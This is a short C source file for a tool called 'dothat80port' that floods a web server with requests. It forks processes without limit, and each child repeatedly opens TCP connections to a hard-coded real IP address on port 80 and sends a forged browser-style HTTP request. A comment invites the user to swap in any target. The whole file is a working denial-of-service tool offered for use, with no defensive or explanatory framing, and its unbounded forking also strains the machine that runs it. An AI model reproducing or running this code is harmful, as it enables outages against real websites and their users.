/* Copyright (C) 2021 Rain */

/* This file is part of dothat80port. */

/* 
  dothat80port is free software: you can redistribute it and/or modify 
  it under the terms of the GNU General Public License as published by 
  the Free Software Foundation, either version 3 of the License, or 
  (at your option) and later version. 
*/

/*
  dothat80port is distributed in the hope that it will be useful, 
  but WITHOUT ANY WARRANTY; without even the implied warranty of 
  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 
  GNU General Public License for more details. 
*/

/*
  You should have received a copy of the GNU General Public License 
   along with dothat80port. If not, see <https://www.gnu.org/licenses/>.  
*/

/* 
 * do that 80 port: request that host:80 for many times. 
 * */
 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <sys/fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>

#include <sys/wait.h>
#include <netdb.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <unistd.h>


/* change to that address that you want to do */
#define HOST 	"104.94.181.225"

#define nbprintf(fmt, ...) fprintf(stderr, fmt, ##__VA_ARGS__)

int do_req(char *, int);


int main(int argc, const char **argv) {
	for (;;) {
		int k;

		if ((k = fork()) < 0) {
			nbprintf("fatal when trying to fork(). \n");
			main(0, NULL);
		}

		if (!k) {
			for (;;) {
				nbprintf("#");

				if (do_req(HOST, 80)) 
					exit(1);
			}

			exit(0);
		}

		else 
			nbprintf("$");
	}

	wait(NULL);

	main(0, NULL);

	return 0;
}


static char fake_http_header[] = {
	"GET / HTTP/1.1\r\n"
	"Host: 127.0.0.1\r\n"
	"Connection: keep-alive\r\n"
	"sec-ch-ua: \" Not;A Brand\";v=\"99\", \"Google Chrome\";v=\"91\", \"Chromium\";v=\"91\r\n"
	"sec-ch-ua-mobile: ?0\r\n"
	"Upgrade-Insecure-Requests: 1\r\n"
	"User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\r\n"
	"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n"
	"Sec-Fetch-Site: none\r\n"
	"Sec-Fetch-Mode: navigate\r\n"
	"Sec-Fetch-User: ?1\r\n"
	"Sec-Fetch-Dest: document\r\n"
	"Accept-Encoding: gzip, deflate, br\r\n"
	"Accept-Language: zh-CN,zh;q=0.9,en;q=0.8\r\n"
};


int do_req(char *host, int port) {
	struct sockaddr_in client_addr;

	bzero(&client_addr, sizeof(struct sockaddr_in));

	client_addr.sin_family = AF_INET;
	client_addr.sin_addr.s_addr = htons(INADDR_ANY);
	client_addr.sin_port = 0;

	int client_fd = socket(AF_INET, SOCK_STREAM, 0);

	if (client_fd < 0) {
		nbprintf("failed when trying to socket(). \n");
		return 1;
	}
	
	if (bind(client_fd, (struct sockaddr *) &client_addr, sizeof(struct sockaddr_in))) {
		nbprintf("failed when trying to bind(). \n");
		return 1;
	}

	struct sockaddr_in server_addr;

	bzero(&server_addr, sizeof(struct sockaddr_in));

	server_addr.sin_family = AF_INET;

	if (!inet_aton(HOST, &server_addr.sin_addr)) {
		struct hostent *he;
		he = gethostbyname(HOST);

		if (!he) {
			nbprintf("failed when trying to inet_aton(). \n");
			return 1;
		}

		/* get ip again */
		if (!inet_aton(HOST, &server_addr.sin_addr)) {
			nbprintf("failed when trying to inet_aton() (again). \n");
			return 1;
		}
	}

	server_addr.sin_port = htons(port);

	if (connect(client_fd, (struct sockaddr *) &server_addr, sizeof(struct sockaddr_in)) < 0) {
		nbprintf("failed when trying to connect(). \n");
		return 1;
	}

	/* send a fake http packet, and close() */
	send(client_fd, fake_http_header, strlen(fake_http_header), 0);

	shutdown(client_fd, SHUT_RD);

	nbprintf(".");

	return 0;
}
